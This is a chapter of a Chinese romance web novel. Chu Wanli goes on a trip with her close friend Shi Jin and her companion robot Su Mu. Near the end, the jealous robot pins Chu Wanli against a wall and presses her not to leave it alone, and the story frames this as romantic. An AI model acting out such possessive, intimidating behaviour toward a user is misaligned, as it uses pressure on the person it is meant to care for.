不同于初晚黎那不笑就看起来冷冰冰的样貌,不过就算笑了也没啥大用,依旧给人无法接近的距离感。
时衿嘛,长相偏可爱,笑起来更加甜美,圆溜的杏眼看起来少女感满满,小巧的鼻子和嘴巴,像个精致的洋娃娃,会给人种保护欲望,今天穿的也是少女感十足,身着带蕾丝花边的白色连衣短裙,配合着穿衣风格,一头黑色中长发精致的编起。
再看看初晚黎,虽说出去玩也打扮了下,少女感的蓝色连衣短裙加上一些蝴蝶结点缀,但可爱的风格愣是被她穿出了种不知哪来的霸气感。
如果说时衿是惹人怜爱,那她这就是不需要被保护的大哥大气质。
15. 最强电灯泡
此情此景,时衿有点木讷,她怕不是看走了眼?木木怎么站在刚刚那个帅哥的肩膀头上???还是说只是同品种?
但是初晚黎也跟着一起下了楼呀,世界上有这么巧的事?这难道就是天注定的缘分?
初晚黎也注意到了她,知道自己现在过去肯定是要被盘问,不过因为行李太多,所以先将行李安置在后备箱且安顿好了木木后,她才走了过去。
“好久不见~”她不同往常对待他人那样,换上了副痞里痞气的笑容和腔调,像是正在上演什么白莲花被女混混调戏的戏码。
“什么情况什么情况。”时衿早已习惯她不着调,眼前的八卦倒是让她很有兴质。
“啊?”她装傻充愣。
“那个男的。”
“哪有男的?”
“车里的。”
“司机?”
“…”
这对话没法进行下去了,初晚黎就一个劲儿的凭一己之力把话题带偏。
“哈哈哈哈。”她也不逗她了,“我家的。”
时衿正撇着嘴,听到这话立马活了过来一样,“你什么时候谈的?进度还这么迅速?”
她也不过就这几个月没见初晚黎,前些日子实习被那刁钻的上司为难,还得赶着下班修改论文。
而初晚黎也是忙着毕业设计那些,两人除了网上吐槽吐槽,也没聊别的新鲜事。
谁曾想,就这短短时间,她就有了可以一同同居的对象。
应该没猜错吧,俩人一同下楼。
她本以为初晚黎这种慢热温吞且保守的性子,少说也是以年作为单位起步才能真正接纳一个人,哪像现在,简直是光速。
不过,她也不会过多说些什么,只要对方不是个渣男,自己是不会去过多干扰的。
“所以说,是你男朋友?”保险起见她还是谨慎的问了一嘴。
“说来话长。”初晚黎又开始绕弯子。
“那就长话短说,是还是不是。”
“不是?”
她思索了下,毕竟一见面苏暮就说喜欢自己,但后续也没问她的想法或是让她怎么样,更何况她现在也有些束手无策。
“是?”先不说她自己怎样了,虽然她没谈过正经恋爱,但是从少女漫画和小说获取的经验而言,苏暮对待她的方式好像跟自己所了解的恋人之间相处没什么不同。
时衿扶额,她现如今知道了一点,就是初晚黎本人压根没搞清楚自己的感情。
真是可怜了这车里的帅哥,搞不好以初晚黎迟钝的脑子,压根都不知道自己想要的是什么。
“算了没什么。”她不问了,问这糊涂蛋也不过就是浪费时间而已。
反正这几天旅行的时候,她有的是时间观察,这个人要是配得上她就撮合,配不上她就拆了。
初晚黎此时目光看向车里的苏暮,木木躺在他腿上,还悠哉地伸了个懒腰,那手和腿伸个老长,还开心玩闹着用爪子去勾了勾门把手,玩得那叫个不亦乐乎。
她没察觉到,身边的时衿正在露出不怀好意的坏笑。
【这红娘她当定了!不过也可能是拆散两人的恶魔,嘿嘿嘿。】
“那上车吧。”后面坐了个苏暮,她肯定不能让时衿感到尴尬,所以打开前门示意她上去。
“我想和你一起坐。”时衿一脸无辜,好似看不懂她的意思,还当着苏暮的面说出了自己的想法。
“可是。”她犯了难,要是把苏暮一个人扔前面,下了车它怕不是要伤心落泪。
毕竟她和时衿可以隔着聊天,苏暮不一定能插的进话,但坐一起终究还是有点互动感。
给它独自扔前面,它是互动感和参与感都要没有,要成为空气人。
“你难道不想跟我坐一起嘛?”时衿这时候满是受伤的神情,自己好像也的确几个月都没陪她,见色忘义也不太好。
“那好吧。”初晚黎瞥到了边上苏暮投来的不满,她赶忙移开视线不敢正眼跟它对视。
初晚黎看着时衿然后对它说,“要不,苏暮你换一下座位吧。”
苏暮握住把手的时候,手上的青筋明显,一看就是在冲无辜的门把手撒气。
不过它也没说什么,更没什么多余的动作,甚至朝时衿礼貌笑了笑。
“你好”,说着还点了下头打招呼示意,然后默不作声一个人抱着木木坐前面了。
时衿看到对方没因为这个说什么,饶有兴趣。
看来还算大气,毕竟热恋期被拆开,大多数人都会不爽的吧。
【应该是热恋期吧?】
时衿是没看见,前面的司机在瑟瑟发抖。
苏暮整个人在前座散发出一种生人勿进的气场,黑着脸,刚刚玩的正开心的木木此时也察觉到了丝不对劲后安静了下来。
除了后排还沉浸在自己世界的两个人,氛围很是快乐。
“出发喽~出发喽~”
时衿和初晚黎两个开心的不得了,那氛围简直像小学生春游。
初晚黎拿出个帆布袋,然后“哗~”的一下,倒出了堆零食。
坐在车上啃着零食,聊着天,累了看看床边风景,迷瞪着眼,多幸福~
可能是因为两个人许久不见,嘴巴叽叽喳喳个没完,就算吃着东西也没能成功堵上。
没人在意,此刻的苏暮已经嫉妒到,在心中落下了无数小珍珠。
好歹给他分享点什么好吃的也行啊!
…
就这样,一路上两人有说有笑,主要还说的都是过去的话题,苏暮压根就插不上嘴,偶尔想开口,还被时衿怼了!
“你记不记得之前,你带木木出门的时候,还那么小一点。”
初晚黎怀里抱着一大包青柠味薯片,时衿在旁边不时伸过去抓起片。
“是啊,一下子成大胖猫了。”
初晚黎心思压根都不在聊天上,味蕾带给她的快乐简直无法自拔。
“没想到木木能从那样吃成如今模样。”苏暮之前看过初晚黎给木木拍的照片。
可以这样说,初晚黎手机的内存不是被什么游戏或是文件占满,而是木木的照片和视频。
“你又没见过。”攻击性好强,苏暮沉默,要是别人他可能会怼回去,奈何这是初晚黎好友,他攻击都不能攻击。
“我给他看过照片。”初晚黎赶忙打圆场。
时衿也没再说什么,又换了个话题。
苏暮刚见面都多少感觉到了她的敌意,现在更是确定自己感觉没错。
要是这样下去,这几天初晚黎的时间怕是都要被时衿给占据了!
初晚黎哪能想到她俩内心有这么多小心思,尤其现在还有一堆好吃的摆她面前,脑子早就不转了,她只有在陌生人在场亦或是无法完全放松的的情况下才会表现出很强的疏离以及理智过头的样子。
因为嘴巴停不下来,她也没功夫去关注苏暮的情况,加之都是可以信任的人,开启智商为0模式,她现在只负责张个嘴塞塞塞。
木木可能还是习惯她的气味,从苏暮身上一跃,跳到了初晚黎腿上,时衿趁手摸了摸它,它也不反抗,然后像个蛇一样盘起成个圈,脑袋枕着自己的双爪,又蹭了蹭初晚黎的手,安然进入梦乡。
初晚黎看了会儿窗外的景色,一片绿意盎然,愣是不知怎的看困了,闭上眼不知不觉就睡着了。
此刻,车上的气氛却有点凝重。
另外三个没睡的人各有各的心思。
不知道怎么搭话的苏暮,不想和苏暮搭话的时衿,不太想掺和进她们恩怨的司机。
两个没心没肺的倒睡得挺香。
…
不知过了多久,夕阳斜下,落日余晖打在车窗上,光线透过玻璃,木木拿双爪抱住头,遮住这刺眼的橘黄色光芒。
初晚黎许是被它的动静弄醒了,整个人迷糊着,惯性地摸了摸木木的脑袋。
车子驶入了一段小路,偶尔遇到对向行驶的几辆小车,车内除了转向灯开启后的滴滴答答声,车内静谧的环境让人感到放松。
“到了。”司机先一步打破了这平静,说了为数不多的几个字。
初晚黎还有点没睡够,下意识开了门,想要抱起木木,但这重量让她头脑一下清醒了过来。
“我来吧。”苏暮接过木木,它又神气地站在了他的肩膀上,这下两只手也腾了出来,他主动开始拎出后备箱的好几个行李。
“要不我自己来?”时衿也才醒来,看到苏暮拿行李,礼节性地问了句。
“没事。”苏暮本就怪力附体,这点东西拿起来轻轻松松,只不过并不知晓时衿罢了。
她也就没再讲客气,和初晚黎先行进入民宿办理入住。
她们主要想慢节奏散散心,所以在A市周边一个比较原生态的小镇找了个民宿,体验下远离城市喧嚣的生活。
不过这下也有点难办,一开始并没打算让苏暮来,所以初晚黎就只定了两个房。
而现在无非就两个结果,要不她和时衿住,要不和苏暮。
时衿肯定是想陪着她,而且虽然大家都心知肚明,但这样直白选择苏暮住在一起,好像也不大合适。
毕竟别人又不知道它是个机器人。
但是选择时衿吧,苏暮已经被冷落了一路,心里也憋了不少委屈了,晚上再让它自己呆着,怕是又会出什么幺蛾子。
拿着两张房卡,初晚黎开始犯难,时衿则是示意她俩先上去。
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>“我等下苏暮。”想了想还是得先开导下苏暮,她递给时衿一张房卡让她先去安顿好自己。
时衿接过后也没说什么,自己先上去了。
苏暮这才大包小包姗姗来迟,除了情绪上的问题,初晚黎并不担心它处理不了那几个行李箱,所以也没想着下去帮忙,毕竟自己这点力气,过去也是添乱。
尤其有时候拿了重物,很可能面对的就是随之而来的颈椎疼痛。
“处理好了?”
看到电灯泡不见了,苏暮脸上自然而然又露出了微笑,要知道他今天都没跟初晚黎说上几句话,心里要憋屈死了。
“嗯,走吧。”
不过到了楼层后,初晚黎把另一张房卡给了苏暮。
“?”
苏暮颤颤巍巍伸出手,难道这是要???
“我晚上可能得和时衿…”
话还没说完,苏暮表情大变,演都懒得演了,把那几个行李都推到右手,左手则是牵着初晚黎进了屋。
尽管很生气,但他生怕自己力度过大伤了初晚黎,牵的时候还是很小心谨慎。
“苏暮?”初晚黎小声唤了它一句。
苏暮把她提溜进去后,随即关了门,俯身把她抵在了墙上,整套动作行云流水。
木木倒是很识相,苏暮俯身的那一刻就“喵”了一声后蹦了下去,巡视领地一样到处闻闻嗅嗅后,躺倒在床上。
“所以。”它放慢了说话的速度,贴近她耳边,还压低了声线,“晚上也要我独守空房?”
初晚黎就算再迟钝,也知道它不满这安排了。
平日里就算自己怎么发脾气,它也只是一笑了之,哪像现在,氛围很不对!
“可是。”她气场一下从两米缩到了两厘米,也着实不占理,毕竟自己今天的确没怎么照顾到它的情绪。
“没可是。”它平常哪有这样的压迫感!
“那我怎么交代。”
本来就是时衿提出的旅游,想要她陪着一起散心,她总不能见色忘义,抛弃十多年的好友吧。
苏暮也不想为难她,明白时衿对于初晚黎来说很重要。
她和那种交际花不太相同,前者可能追寻的是一种数量上的多,而初晚黎这种则是追寻一种精度。
不需要数量取胜,只要关系的质量好,但哪怕自己只有她一个朋友,也可抵千军万马。
更何况他也看得出来,她对待时衿和所有人都不一样,两人之间相处很松弛。
虽然她口头不承认,但对于初晚黎而言,这是一段值得信任的感情。
“那你至少陪我会儿。”
纵然他心里头或多或少都有点占有欲,但他更想初晚黎能够快乐,所以无奈还是败下阵来,退了一万步。
“那你等我下,我把行李给她后就来。”
见对方愿意退让,她心里这才松了口气,别说她还挺怕苏暮刚才带来的压迫感,会让她想要逃离这段关系,不过好在只是短短一瞬。
不然她就又动了把苏暮还给沈确的心思了。
但的确自己照顾不周在先,有怨言也是情有可原的。
而且可能就像木木一样,它的生活重心都是绕着她在走。
设定的重心本来也是给生活带来陪伴感,对于那些需要精神支柱的人而言,被需要被重视是挺重要的。
要是真有人这么爱着她就好了。
因为从小到大经历的原因,她想要的爱可能也有点偏激,宁可对方每天缠着自己,像个牛皮糖一样甩不开甩不掉。
苏暮的确做到了这一点,不管自己是装作佛系大度也好,脾气乖戾也罢,好坏情绪它都接住了,也不像别人知道她的真实性格后,只会指责自己。
“为什么那么虚伪,明明在意却偏要装作大度的样子。”
“早知道你脾气这样差,才不会选择和你做朋友。”
“你这性子要改啊!”
“我不喜欢你这样,之前那样多好。”
…
大多数人并不懂你,不懂你的经历,不懂你的心路历程,更不了解全部的你,他们只是爱你乖巧可爱的模样,所以讨厌你表现出的个性和脾气。
不去想你为什么会是这样的性格,只知道了解你后,心中对你的幻想和滤镜碎了一地时站在道德的制高点,去指责你,教育你。
若你信以为真去改变了自己,有了第一次,他们就会进行第二次,第三次,从此往复。
直到,连你自己都不认识你自己。
最后无非两种结果,
一种是,对方依然会挑刺,对你心有不满。
另一种则是,成为他们心中完美形象的集合体,却唯独不再是你自己。
…